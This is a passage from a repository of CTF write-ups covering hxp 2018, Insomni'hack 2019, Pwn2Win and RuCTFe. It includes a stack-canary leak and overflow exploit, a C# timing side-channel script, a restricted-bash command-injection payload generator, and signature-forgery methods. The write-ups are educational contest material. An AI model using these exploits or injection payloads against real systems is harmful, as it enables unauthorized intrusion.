GDB will be launched if the exploit is run via e.g. 142 | # ./exploit.py GDB 143 | gdbscript = ''' 144 | break *0x{exe.symbols.main:x} 145 | continue 146 | '''.format(**locals()) 147 | 148 | #=========================================================== 149 | # EXPLOIT GOES HERE 150 | #=========================================================== 151 | # Arch: arm-32-little 152 | # RELRO: Partial RELRO 153 | # Stack: Canary found 154 | # NX: NX enabled 155 | # PIE: No PIE (0x10000) 156 | 157 | io = start() 158 | io.recvline() 159 | 160 | # read canary 161 | io.send("A"*41) 162 | resp = io.recvline() 163 | canary = '\x00' + resp[43:-1] 164 | 165 | # GOGOGO 166 | io.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00") 167 | io.interactive() 168 | ``` 169 | -------------------------------------------------------------------------------- /hxpctf2018/yunospace.md: -------------------------------------------------------------------------------- 1 | # yunospace 2 | 3 | When you connect to the service, the python wrapper reads a number number from you and passes the n-th char of the flag to the yunospace binary: 4 | 5 | ```python 6 | #!/usr/bin/python3 -u 7 | 8 | import sys, os, base64 9 | 10 | FLAG = "hxp{find_the_flag_on_the_server_here}" 11 | 12 | print(" y-u-no-sp ") 13 | print("XXXXXXXXx.a ") 14 | print("OOOOOOOOO| ") 15 | print("OOOOOOOOO| c ") 16 | print("OOOOOOOOO| ") 17 | print("OOOOOOOOO| ") 18 | print("OOOOOOOOO| e ") 19 | print("~~~~~~~|\~~~~~~~\o/~~~~~~~") 20 | print(" }=:___'> \n") 21 | 22 | print("> Welcome. Which byte should we prepare for you today?") 23 | 24 | try: 25 | n = int(sys.stdin.readline()) 26 | except: 27 | print("> I did not get what you mean, sorry.") 28 | sys.exit(-1) 29 | 30 | if n >= len(FLAG): 31 | print("> That's beyond my capabilities. Goodbye.") 32 | sys.exit(-1) 33 | 34 | print("> Ok. Now your shellcode, please.") 35 | 36 | os.execve("./yunospace", ["./yunospace", FLAG[n]], dict()) 37 | ``` 38 | 39 | The yunospace binary was small and simple: All it did was reading 9 bytes from stdin, writing the passed char behind the 9 read bytes, setting all registers to 0, and jumping there. 40 | 41 | Since 9 bytes are (as far as we know) not enough to spawn a shell or to execute a write syscall with the appropriate parameters, we decided to use a side channel attack: Depending on the passed char our bytecode has to terminate (and a segfault is a termination), or loop forever. A quick test shows us that if the program segfaults the socket is closed after <2s, and if it loops the socket is closed after >2s. 42 | 43 | 44 | An infinite loop depending on a flag takes up two bytes: 45 | ``` 46 | 74 fe je 7 47 | ``` 48 | So we have 7 bytes remaining to set a flag depending on the 10th byte and the operation. `test` seems like the best idea (`test` performs a binary `AND` on two operands, and upates `ZF`), because we can identify the byte with 8 requests: By testing the unknown byte with 1 << x (for x in {0, .., 7}) we get a set zero flag if and only if the x-th bit of the byte is set to zero! :tada: 49 | 50 | So the exploit is quite simple. Send these bytes, and observe whether the bits of X are set: 51 | ``` 52 | 0: f6 05 02 00 00 00 X test BYTE PTR [rip+0x2], X # 9 53 | 0000000000000007 : 54 | 7: 74 fe je 7 55 | ``` 56 | 57 | After experiencing problems with pwntools and closed sockets, I had enough and wrote our exploit in c#: 58 | ```c# 59 | using System; 60 | using System.Collections.Generic; 61 | using System.Diagnostics; 62 | using System.IO; 63 | using System.Net; 64 | using System.Net.Sockets; 65 | using System.Text; 66 | using System.Threading.Tasks; 67 | 68 | namespace yunospace 69 | { 70 | class Program 71 | { 72 | static void Main(string[] args) 73 | { 74 | Console.WriteLine("Hello World!"); 75 | 76 | for (int i=0;i<100;i++) 77 | { 78 | char c = GetChar(i); 79 | Console.Write($"{c}"); 80 | Console.Out.Flush(); 81 | if (c == '}') 82 | { 83 | break; 84 | } 85 | } 86 | Console.WriteLine("\ndone."); 87 | Console.ReadKey(); 88 | } 89 | 90 | static char GetChar(int count) 91 | { 92 | var tasks = new List>(); 93 | for (int i = 0; i < 8; i++) 94 | { 95 | var x = i; 96 | tasks.Add(Task.Run(async () => 97 | { 98 | return await Test(x, count); 99 | })); 100 | } 101 | byte b = 0; 102 | Task.WhenAll(tasks).Wait(); 103 | for (int i = 0; i < tasks.Count; i++) 104 | { 105 | if (tasks[i].Result < 2000) 106 | b |= (byte)(0x1 << i); 107 | } 108 | return (char)b; 109 | } 110 | 111 | static async Task Test(int one, int count) 112 | { 113 | Stopwatch stopWatch = new Stopwatch(); 114 | try 115 | { 116 | byte[] buf = new byte[4048]; 117 | TcpClient client = new TcpClient("195.201.127.119", 8664); 118 | using (StreamReader sr = new StreamReader(client.GetStream())) 119 | { 120 | await ReadOrThrow(sr); 121 | await ReadOrThrow(sr); 122 | await ReadOrThrow(sr); 123 | await ReadOrThrow(sr); 124 | await ReadOrThrow(sr); 125 | await ReadOrThrow(sr); 126 | await ReadOrThrow(sr); 127 | await ReadOrThrow(sr); 128 | await ReadOrThrow(sr); 129 | await ReadOrThrow(sr); 130 | 131 | client.GetStream().Write(Encoding.ASCII.GetBytes($"{count}\n")); 132 | await ReadOrThrow(sr); 133 | 134 | stopWatch.Start(); 135 | byte b = 0x01; 136 | b <<= one; 137 | client.GetStream().Write(new byte[] { 0xF6, 0x05, 0x02, 0x00, 0x00, 0x00, b, 0x74, 0xFE }); 138 | await ReadOrThrow(sr); 139 | await ReadOrThrow(sr); 140 | await ReadOrThrow(sr); 141 | await ReadOrThrow(sr); 142 | } 143 | } 144 | catch (Exception e) 145 | { 146 | } 147 | stopWatch.Stop(); 148 | return stopWatch.ElapsedMilliseconds; 149 | } 150 | 151 | static async Task ReadOrThrow(StreamReader sr) 152 | { 153 | var line = await sr.ReadLineAsync(); 154 | if (line == null) 155 | throw new IOException(); 156 | } 157 | } 158 | } 159 | ``` 160 | And indeed this exploit correctly yielded the flag `hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}` 161 | -------------------------------------------------------------------------------- /insomnihackteaser2019/README.md: -------------------------------------------------------------------------------- 1 | # Insomni'hack teaser 2019 2 | 3 | *Sa, 19 Jan. 2019, 13:00 CET — So, 20 Jan. 2019, 13:00 CET* 4 | 5 | ### Official URL: [https://teaser.insomnihack.ch/](https://teaser.insomnihack.ch/) 6 | ### CTFtime URL: [https://ctftime.org/event/686/](https://ctftime.org/event/686/) 7 | 8 | ## Writeups 9 | 10 | ### [echoechoechoecho](./echoechoechoecho.md) [pwn] 11 | -------------------------------------------------------------------------------- /insomnihackteaser2019/echoechoechoecho.md: -------------------------------------------------------------------------------- 1 | # `(?:ECHO){4}` 2 | 3 | Echoechoechoecho was a service at the 2019 Insomni'hack teaser with 216 points and 18 solves. 4 | 5 | ## Description 6 | 7 | Echo echo echo echo, good luck 8 | 9 | `nc 35.246.181.187 1337` 10 | 11 | ## The Service 12 | 13 | ```python 14 | banner = """ 15 | _..._ .-'''-. 16 | .-'_..._''. ' _ \\ 17 | __.....__ .' .' '.\ . / /` '. \\ 18 | .-'' '. / .' .'| . | \ ' 19 | / .-''"'-. `. . ' < | | ' | ' 20 | / /________\ \| | | | \ \ / / 21 | | || | | | .'''-.`. ` ..' / 22 | \ .-------------'. ' | |/.'''. \ '-...-'` 23 | \ '-.____...---. \ '. .| / | | 24 | `. .' '. `._____.-'/| | | | 25 | `''-...... -' `-.______ / | | | | 26 | ` | '. | '. 27 | '---' '---' 28 | """ 29 | ``` 30 | 31 | The service allows us to run any bash code... But it has to pass this little sanitization function first: 32 | ```python 33 | if not all(ord(c) < 128 for c in payload): 34 | bye("ERROR ascii only pls") 35 | 36 | if re.search(r'[^();+$\\= \']', payload.replace("echo", "")): 37 | bye("ERROR invalid characters") 38 | 39 | # real echolords probably wont need more special characters than this 40 | if payload.count("+") > 1 or \ 41 | payload.count("'") > 1 or \ 42 | payload.count(")") > 1 or \ 43 | payload.count("(") > 1 or \ 44 | payload.count("=") > 2 or \ 45 | payload.count(";") > 3 or \ 46 | payload.count(" ") > 30: 47 | bye("ERROR Too many special chars.") 48 | ```` 49 | If we pass this check, our input can be piped to `n` bash instances (with n being user-provided): 50 | 51 | ```python 52 | print("And how often would you like me to echo that?") 53 | count = max(min(int(input()), 10), 0) 54 | 55 | payload += "|bash"*count 56 | ``` 57 | 58 | That means we cannot use most chars, only use a small subset of special chars--and a lot of echos! 59 | 60 | ## Our approach 61 | 62 | First we had to pull up a nice bash scripting cheatsheet. 63 | devhints.io/bash helped a lot! 64 | 65 | In the following we describe each layer we built. 66 | Every next layer had to be escaped in such a way, that it could be echoed into the next bash instance. 67 | 68 | ### LAYER 0 69 | It was quickly clear that we would need more special chars, especially equals signs, so in the first layer, we assigned equals to $echoecho: 70 | `"echoecho " + r"=\=;"`. 71 | 72 | Since we then had to replace and reuse the signs in every other layer and properly escape them, we quickly started scripting variable (`"echo" * i`) allocations. 73 | 74 | ### LAYER 1 75 | After regaining access to infinite equals signs, we hunted down semicolons, since we only had two left: 76 | ```python 77 | smcln = c([escape_by(r"\;;", 1)], 1) 78 | ``` 79 | with the c function being a helper to define new characters. 80 | 81 | Since, after this layer, escaping started to get messy, so we tried to automate that too, using re.escape like: 82 | ```python 83 | def escape_by(s, level): 84 | if not level: 85 | return s 86 | for i in range(level): 87 | s = re.escape(s) 88 | return s 89 | ``` 90 | 91 | 92 | ### LAYER 2 93 | With the magnificent `=` and `;` tools, we could now assign all other allowed specialchars to echo-named variables: 94 | ```python 95 | bopen = c([escape_by(r"\(", 2), smcln], 2) 96 | bclose = c([escape_by(r"\)", 2), smcln], 2) 97 | plus = c([escape_by(r"\+", 2), smcln], 2) 98 | single_quote = c([escape_by(r"\'", 2), smcln], 2) 99 | ``` 100 | which results in the following legible code (all in one line), when printed and escaped: 101 | ```bash 102 | echo echoechoechoecho$echoecho\\\\\\\(\$echoechoecho echoechoechoechoecho$echoecho\\\\\\\)\$echoechoecho echoechoechoechoechoecho$echoecho\\\\\\\+\$echoechoecho echoechoechoechoechoechoecho$echoecho\\\\\\\'\$echoechoecho 103 | ``` 104 | 105 | ### LAYER 3 106 | We finally had regained access to all special chars and could think about how to encode the actual payload. 107 | 108 | It was quickly clear that an octal representation (like `$'\101\101...'`) of characters is ideal, since anything else would already need chars, like an `x`for hex. 109 | 110 | We had initially figured out the pid of our initial bash was always 8. 111 | We also knew from the cheat sheet that `$(($CAN_HAZ_MATHS))` can evaluate mathematical expressions in bash. 112 | However we failed to failed to find a good way to calculate anything with the PID. 113 | 114 | After quite a while we had the idea that an empty variable inside the math env evaluates to 0 (or probably did it by accident). For that we could use any variable, including echo. That means that `echoechoechoechoechoecho = $((echo))` assigns 0 to that echo-like variable! Success :) 115 | 116 | We also reread the sheet and came to the conclusion that `$((++echo))` will increase the variable and return its result. Repeating this another 6 times (with increasingly long echo-like variablenames), we got placeholder for the entire octal numeric range 🎉 117 | 118 | ```python 119 | # bopen is the palceholder evaluating to '(' bclose == ')', plus == '+', smcln == ';' 120 | def next_num(): 121 | return c([escape_by("$", 3), bopen, bopen, plus, plus, escape_by(r"\echo", 2), bclose, bclose, escape_by("\\", 2), smcln], 3) 122 | ``` 123 | 124 | ### LAYER 4 125 | 126 | Finally, we could encode any commands, and issue them to the server. 127 | We did a quick ls (only 2547 characters), and found `/flag`! 128 | 129 | But oh boy were we not done yet. 130 | 131 | ### INCEPTION 132 | 133 | The flag was only readable by root :/ (Our user was `echolord`, because of course it was). 134 | 135 | Next to the flag, we found `/get_flag`, a nice little commandline tool, giving us the flag. 136 | Not. 137 | The tool outputted roughly this, with `some_int` being.. some random int: 138 | ```bash 139 | Please solve this little captcha: 140 | [some_int] + [some_int] + [some_int] + [some_int] + [some_int] 141 | [calcualted_int] != 0 :( 142 | 143 | bye 144 | ``` 145 | 146 | That meant we had to interact with this command-line tool, but only hat single shot bash commands. 147 | We did not get strerr output and most tools (like python) did not work. 148 | However we knew there had to be a python somewhere, since the server was running in python - and we had no clue how to do it in bash only. 149 | 150 | Luckily we found python3 in its usual path, and then could start scripting: 151 | 152 | ```python 153 | from subprocess import Popen, PIPE 154 | test = Popen(["/get_flag"], stdin=PIPE, stdout=PIPE, bufsize=1, universal_newlines=True) 155 | print(test.stdout.readline()) 156 | q = test.stdout.readline() 157 | print("Question:", q) 158 | a = eval(q) 159 | print(a) 160 | test.stdin.write(str(a)+"\\n") 161 | print(test.stdout.readline()) 162 | print(test.poll()) 163 | print(test.communicate("fun")) 164 | print("Python end") 165 | ``` 166 | We spawn the program as subprocess, simply `eval` the 5 integers (favourite function <3 but still consider to use literal_eval if it is your own server) and finally print the result. 167 | 168 | We then sent this script as encoded bash command, using: 169 | ```python 170 | cmd = "/usr/bin/python3 -c '{}';".format(pycmd.replace("\n", ";")) 171 | ``` 172 | 173 | Due to the restricted environment, building this took forever - we did not get output in case it crashed and building a try-except in a single line in python seemed like too much work. 174 | 175 | But in the end... we were finally presented the flag: 176 | ``` 177 | INS{echo_echoecho_echo__echoech0echo_echoechoechoecho_bashbashbashbash} 178 | ``` 179 | 180 | Thanks eboda for this nice brainf*ck and the captcha from hell. 181 | 182 | Writeup by @mmunnier and @domenukk 183 | 184 | ## Prior Challenges 185 | 186 | Sadly we did not find the writeup of last year's 34c3 challenge by eboda in similar style: 187 | https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/ 188 | 189 | It might have helped ¯\\\_(ツ)_/¯. 190 | 191 | ## Epilogue 192 | 193 | Find the script [here](./echoechoechoecho.py) 194 | 195 | In the following, a few of the pretty generated output bytes in each iteration: 196 | ### In the First Bash (LAYER 0) 197 | ```bash 198 | echoecho=\=; echo echoechoecho$echoecho\\\;\; echo echoechoechoecho$echoecho\\\\\\\(\$echoechoecho echoechoechoechoecho$echoecho\\\\\\\)\$echoechoecho echoechoechoechoechoecho$echoecho\\\\\\\+\$echoechoecho echoechoechoechoechoechoecho$echoecho\\\\\\\'\$echoechoecho... 199 | ``` 200 | ### In the Second Bash (LAYER 1) 201 | ```bash 202 | echoechoecho=\;; echo echoechoechoecho=\\\($echoechoecho echoechoechoechoecho=\\\)$echoechoecho echoechoechoechoechoecho=\\\+$echoechoecho echoechoechoechoechoechoecho=\\\'$echoechoecho echo echoechoechoechoechoechoechoecho=\\\$\$echoechoechoecho\$echoechoechoecho\\echo\$echoechoechoechoecho\$echoechoechoechoecho\\$echoechoecho... 203 | ``` 204 | ### In the Third Bash (LAYER 2) 205 | ```bash 206 | echoechoechoecho=\(; echoechoechoechoecho=\); echoechoechoechoechoecho=\+; echoechoechoechoechoechoecho=\'; echo echoechoechoechoechoechoechoecho=\$$echoechoechoecho$echoechoechoecho\echo$echoechoechoechoecho$echoechoechoechoecho\; echoechoechoechoechoechoechoechoecho=\$$echoechoechoecho$echoechoechoecho$echoechoechoechoechoecho$echoechoechoechoechoecho\echo$echoechoechoechoecho$echoechoechoechoecho\;... 207 | ``` 208 | ### Fourth Bahs (LAYER 3) 209 | ```bash 210 | echoechoechoechoechoechoechoecho=$((echo)); echoechoechoechoechoechoechoechoecho=$((++echo)); echoechoechoechoechoechoechoechoechoecho=$((++echo)); echoechoechoechoechoechoechoechoechoechoecho=$((++echo)); echoechoechoechoechoechoechoechoechoechoechoecho=$((++echo)); 211 | ``` 212 | ### FINALLY (LAYER 4) 213 | ```bash 214 | echo $'\57\165\163\162\57\142\151\156\57\160\171\164\150\157\156\63\40\55\143\40\47\146\162\157\155\40\163\165\142\160\162\157\143\145\163\163\40\151\155\160\157\162\164\40\120\157\160\145\156\54\40\120\111\120\105\73\164\145\163\164\40\75\40\120\157\160\145\156\50\133\42\57\147\145\164\137\146\154\141\147\42\135\54\40\163\164\144\151\156\75\120\111\120\105\54\40\163\164\144\157\165\164\75\120\111\120\105\54\40\142\165\146\163\151\172\145\75\61\54\40\165\156\151\166\145\162\163\141\154\137\156\145\167\154\151\156\145\163\75\124\162\165\145\51\73\160\162\151\156\164\50\164\145\163\164\56\163\164\144\157\165\164\56\162\145\141\144\154\151\156\145\50\51\51\73\161\40\75\40\164\145\163\164\56\163\164\144\157\165\164\56\162\145\141\144\154\151\156\145\50\51\73\160\162\151\156\164\50\42\121\165\145\163\164\151\157\156\72\42\54\40\161\51\73\141\40\75\40\145\166\141\154\50\161\51\73\160\162\151\156\164\50\141\51\73\164\145\163\164\56\163\164\144\151\156\56\167\162\151\164\145\50\163\164\162\50\141\51\53\42\134\156\42\51\73\160\162\151\156\164\50\164\145\163\164\56\163\164\144\157\165\164\56\162\145\141\144\154\151\156\145\50\51\51\73\160\162\151\156\164\50\164\145\163\164\56\160\157\154\154\50\51\51\73\160\162\151\156\164\50\164\145\163\164\56\143\157\155\155\165\156\151\143\141\164\145\50\42\167\150\157\141\155\151\42\51\51\73\160\162\151\156\164\50\42\120\171\164\150\157\156\40\145\156\144\42\51\73\47\73\40\167\150\157\141\155\151' 215 | ``` 216 | ### FINALLY 217 | ```bash 218 | /usr/bin/python3 -c 'from subprocess import Popen, PIPE;test = Popen(["/get_flag"], stdin=PIPE, stdout=PIPE, bufsize=1, universal_newlines=True);print(test.stdout.readline());q = test.stdout.readline();print("Question:", q);a = eval(q);print(a);test.stdin.write(str(a)+"\n");print(test.stdout.readline());print(test.poll());print(test.communicate("fun"));print("Python end");'; 219 | ``` 220 | -------------------------------------------------------------------------------- /insomnihackteaser2019/echoechoechoecho.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | import sys 4 | from typing import List 5 | from telnetlib import Telnet 6 | import subprocess 7 | 8 | unsafe_chars = re.compile("[^a-zA-Z0-9,._+:@%/-]") 9 | iterator = iter(range(2, 1000)) 10 | 11 | if len(sys.argv) != 1: 12 | cmd = sys.argv[1] 13 | else: 14 | pycmd = """from subprocess import Popen, PIPE 15 | test = Popen(["/get_flag"], stdin=PIPE, stdout=PIPE, bufsize=1, universal_newlines=True) 16 | print(test.stdout.readline()) 17 | q = test.stdout.readline() 18 | print("Question:", q) 19 | a = eval(q) 20 | print(a) 21 | test.stdin.write(str(a)+"\\n") 22 | print(test.stdout.readline()) 23 | print(test.poll()) 24 | print(test.communicate("fun")) 25 | print("Python end") 26 | """ 27 | cmd = "/usr/bin/python3 -c '{}';".format(pycmd.replace("\n", ";")) 28 | 29 | print(cmd) 30 | 31 | 32 | def next_free_echocount(): 33 | return iterator.__next__() 34 | 35 | 36 | def escape_by(s, level): 37 | if not level: 38 | return s 39 | for i in range(level): 40 | s = re.escape(s) 41 | return s 42 | 43 | 44 | levels = {} 45 | bases = {} 46 | 47 | 48 | def level(var, set=None): 49 | if set: 50 | levels[var] = set 51 | else: 52 | try: 53 | return levels[var] 54 | except: 55 | return 0 56 | 57 | 58 | l = level 59 | 60 | 61 | def base(var, set=None): 62 | if set: 63 | bases[var] = set 64 | else: 65 | try: 66 | return bases[var] 67 | except Exception as ex: 68 | print("No base for {}".format(var)) 69 | return "" 70 | 71 | 72 | b = base 73 | 74 | i = next_free_echocount() 75 | equals = "$" + "echo" * i 76 | l(equals, 0) 77 | b(equals, ["echo" * i + r"=\=;"]) 78 | 79 | LEVELS = 4 80 | 81 | 82 | def c(definition: List[str] = None, level=0): 83 | i = next_free_echocount() 84 | ret = "$" + "echo" * i 85 | l(ret, level) 86 | if definition: 87 | b(ret, ["echo" * i, equals] + definition) 88 | return ret 89 | 90 | 91 | # eight = c([escape_by("$$", 2)], 2) 92 | 93 | # l(eight, 1) 94 | 95 | smcln = c([escape_by(r"\;;", 1)], 1) 96 | bopen = c([escape_by(r"\(", 2), smcln], 2) 97 | bclose = c([escape_by(r"\)", 2), smcln], 2) 98 | plus = c([escape_by(r"\+", 2), smcln], 2) 99 | single_quote = c([escape_by(r"\'", 2), smcln], 2) 100 | 101 | # print(escape_by(b(single_quote), 3)) 102 | # echoechoechoechoechoechoecho\\\$echoecho\\\\\\\'\\\$echoechoecho 103 | # four = f"echo echo $\'\\$(({eight}+{eight}+{eight}+{eight}+{eight}+{eight}+{eight}+{eight}))\'" 104 | # l(four, 4) 105 | 106 | zero = c([escape_by("$", 3), bopen, bopen, escape_by(r"\echo", 2), bclose, bclose, escape_by("\\", 2), smcln], 3) 107 | 108 | 109 | def next_num(): 110 | return c([escape_by("$", 3), bopen, bopen, plus, plus, escape_by(r"\echo", 2), bclose, bclose, escape_by("\\", 2), 111 | smcln], 3) 112 | 113 | 114 | one = next_num() 115 | two = next_num() 116 | three = next_num() 117 | four = next_num() 118 | five = next_num() 119 | six = next_num() 120 | seven = next_num() 121 | # seven could be single echo later... 122 | # l(seven, 3) 123 | 124 | # command = ["echo ", escape_by("$",3), bopen,bopen, eight, plus, eight, bclose,bclose] 125 | 126 | 127 | nums = [zero, one, two, three, four, five, six, seven] 128 | 129 | 130 | def get_char(character: str) -> List[str]: 131 | o = oct(ord(character))[2:] 132 | l = [escape_by('\\', 4)] 133 | l += [nums[int(x)] for x in o] 134 | return l 135 | 136 | 137 | def escape_str(s: str) -> List[str]: 138 | l = [escape_by('$', 4), escape_by('\\', 3), single_quote] 139 | for ch in s: 140 | l += get_char(ch) 141 | l += [escape_by('\\', 3), single_quote] 142 | return l 143 | 144 | 145 | # command = ["echo echo ", escape_by('$', 4), escape_by('\\', 3), single_quote, escape_by('\\', 4), one, zero, one, 146 | # escape_by('\\', 3), single_quote] 147 | 148 | command = ["echo echo "] + escape_str(cmd) 149 | 150 | s = "" 151 | curr_level = 0 152 | for key, value in bases.items(): 153 | if l(key) > curr_level: 154 | s += (l(key) - curr_level) * "echo " 155 | curr_level = l(key) 156 | s += "".join([escape_by(part, l(part)) for part in value]) + " " 157 | 158 | s += "".join([escape_by(part, l(part)) for part in command]) + " " 159 | 160 | print("\n\nEND -TEXT") 161 | # a = subprocess.check_output(s + "|bash" * 4, shell=True, executable="/bin/bash") 162 | # print(a) 163 | try: 164 | pass 165 | # result = subprocess.check_output(s + "|bash" * 5, shell=True, executable="/bin/bash") 166 | # print(result) 167 | except: 168 | pass 169 | print("\n\n") 170 | 171 | try: 172 | telnet = Telnet("35.246.181.187", 1337) 173 | print(telnet.read_until(b"thisfile')")) 174 | 175 | telnet.write(s.encode("utf-8")) 176 | telnet.write(b'\n') 177 | print(telnet.read_until(b'that?\n')) 178 | telnet.write(b'5\n') 179 | print(telnet.read_all().decode("utf-8")) 180 | except Exception as ex: 181 | print(ex) 182 | 183 | print(len(s)) 184 | f = open("ex.txt", 'w') 185 | f.write(s) 186 | f.close() 187 | -------------------------------------------------------------------------------- /pwn2win2019/README.md: -------------------------------------------------------------------------------- 1 | # Pwn2Win CTF 2019 2 | 3 | *Fr, 08 Nov. 2019, 17:37 CET — So, 10 Nov. 2019, 17:37 CET* 4 | 5 | ### Official URL: [https://pwn2win.party/](https://pwn2win.party/) 6 | ### CTFtime URL: [https://ctftime.org/event/822/](https://ctftime.org/event/822/) 7 | 8 | ## Writeups 9 | 10 | ### [Real EC](./real_ec/) [crypto] 11 | -------------------------------------------------------------------------------- /pwn2win2019/real_ec/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Real EC 2 | 3 | ## Task 4 | 5 | We use the elliptic curve P256 (NIST-standard). 6 | The programme generates some random 1000-Byte secret (from urandom). 7 | This is split into 250 32-bit Integers *e_i*. 8 | Then for all 250 parts, we also generate some random *n = x0...0x0...0x* (8 bit unknown). 9 | Finally, we get *g^(e_i * n)*. 10 | 11 | Find the hash of the secret, you have 100 seconds. 12 | 13 | ## Solution 14 | 15 | * We cannot break ECDSA. 16 | * Each point has 40 Bit -> somehow brute-force 17 | 18 | Before we get the 250 values, we have arbitrary time. 19 | Create a lookup table, then just search for all of these points in table. 20 | 21 | Table gets too large (some TB RAM), instead meet-in-the-middle. 22 | * Create k bit table. 23 | * Try 40-k bit in-time 24 | 25 | In the end the following worked 26 | * Use server, with 80 cores to lookup points in parallel 27 | * Use 22 Bit table 28 | * Compute inverses of possible n before 29 | * try to use addition of points (instead of multiplication) for speedup 30 | 31 | Finished Lookup table: 162.18 seconds 32 | Finished with all points: 41.88 seconds 33 | -------------------------------------------------------------------------------- /pwn2win2020/README.md: -------------------------------------------------------------------------------- 1 | # Pwn2Win CTF 2020 2 | 3 | *Fr, 29 May 2020, 18:37 CEST — So, 31 May 2020, 18:37 CEST* 4 | 5 | ### Official URL: [https://pwn2.win/](https://pwn2.win/) 6 | ### CTFtime URL: [https://ctftime.org/event/961/](https://ctftime.org/event/961/) 7 | 8 | ## Writeups 9 | 10 | ### [Stolen Backdoor](./stolen_backdoor/) [pwn] 11 | -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/challenge_files/encoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/challenge_files/encoder -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/challenge_files/libemojinet.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/challenge_files/libemojinet.so -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/e_fast_probes_2cycles_v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/e_fast_probes_2cycles_v2.png -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/e_fast_probes_v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/e_fast_probes_v2.png -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/included.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/included.png -------------------------------------------------------------------------------- /pwn2win2020/stolen_backdoor/not_included.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/pwn2win2020/stolen_backdoor/not_included.png -------------------------------------------------------------------------------- /ruCTFe2019/README.md: -------------------------------------------------------------------------------- 1 | # RuCTFE 2019 2 | 3 | *Sa, 23 Nov. 2019, 11:00 CET — Sa, 23 Nov. 2019, 20:00 CET* 4 | 5 | ### Official URL: [https://ructfe.org/](https://ructfe.org/) 6 | ### CTFtime URL: [https://ctftime.org/event/906/](https://ctftime.org/event/906/) 7 | 8 | ## Writeups 9 | 10 | ### [Profile](./profile/) [crypto] 11 | -------------------------------------------------------------------------------- /ruCTFe2019/profile/ReadMe.md: -------------------------------------------------------------------------------- 1 | # RuCTFe 2019 -- Profile 2 | 3 | ## Description 4 | 5 | A small webservice to store messages and the possibility to retrieve them if you know the correct signature. 6 | Actually, there are two different algorithms for the signature. 7 | You can: 8 | * Enter user and message and get 9 | ** the user's public key 10 | ** the message hash 11 | ** the message's signature 12 | * get all users 13 | * for a user get all message hashes 14 | * enter user, message hash and signature to get message (flag) 15 | 16 | ## Exploit -- Empty Signature 17 | 18 | Method "stop" always accepts the empty signature. 19 | 20 | def verify(self, msg, pub, sign): 21 | sign = split_signature(sign, 32) 22 | return all(x == n_hash(y, sha256, 2**self._w - 1 - z) for x,y,z in zip(pub, sign, split_message(msg, 8, 18))) 23 | 24 | Fix: Just decline empty signature. 25 | 26 | ## Exploit -- Forge Trivial Signature 27 | 28 | Theoretically, we use RLWE (Ring Learning with Error -- Learning with error over a polynomial ring). 29 | But it is wrongly implemented, and has terrible parameters. 30 | 31 | def verify(self, msg, pub, sign): 32 | msg = np.array(list(msg)) 33 | pub, a = map(np.array, pub) 34 | c, z1, z2 = map(np.array, sign) 35 | return all(c == ((a*z1 + z2 - pub*c) + msg) % self.q) 36 | 37 | We can just use 38 | * c = 0 39 | * z1 = 0 40 | * z2 = q - msg 41 | 42 | Fix: Decline `c = 0` 43 | 44 | ## Exploit -- Retrieve Private Key 45 | 46 | The message-hash `msg` has 16 Bytes (split into 18 parts of 8 Bit, 0-padded), the private key 18 Int64. 47 | Entry `priv[i]` is hashed `msg[i]` times. 48 | 49 | * The last two entries aren't hashed. 50 | * If our message hash contains 0-Byte, that entry is not hashed. 51 | 52 | Code is: 53 | 54 | def sign(self, msg, priv): 55 | signature = [n_hash(x, sha256, y) for x, y in zip(priv, split_message(msg, 8, 18))] 56 | return join_signature(signature) 57 | 58 | For index `i` create random words, until you find one with `msg[i] = 0`. 59 | Can be done offline. 60 | Then send all of these words, get them signed. 61 | We can put together the private key and can sign arbitrary messages. 62 | 63 | ***This exploit is hardly distinguishable from normal traffic.*** 64 | -------------------------------------------------------------------------------- /tasteless2019/README.md: -------------------------------------------------------------------------------- 1 | # TastelessCTF 2019 2 | 3 | *Sa, 26 Oct. 2019, 14:00 CEST — So, 27 Oct. 2019, 13:00 CET* 4 | 5 | ### Official URL: [https://ctf.tasteless.eu/](https://ctf.tasteless.eu/) 6 | ### CTFtime URL: [https://ctftime.org/event/872/](https://ctftime.org/event/872/) 7 | 8 | ## Writeups 9 | 10 | ### [babypad](./babypad.md) [crypto] 11 | ### [ez](./ez.md) [pwn] 12 | ### [timewarp](./timewarp.md) [web] 13 | -------------------------------------------------------------------------------- /tasteless2019/babypad.md: -------------------------------------------------------------------------------- 1 | # Babypad 2 | 3 | Author: plonk 4 | 5 | Category: cry 6 | 7 | Solves: 51 8 | 9 | Points: 154 10 | 11 | We heard this kind of enription is super securr, so we'll just give you the flag encripted! 12 | 13 | ## Challenge 14 | 15 | ```c 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | int main() { 22 | char *plaintext = NULL; 23 | char *one_time_pad = NULL; 24 | char *ciphertext = NULL; 25 | size_t flag_length = 0; 26 | FILE *flag = fopen("flag.txt", "r"); 27 | FILE *urandom = 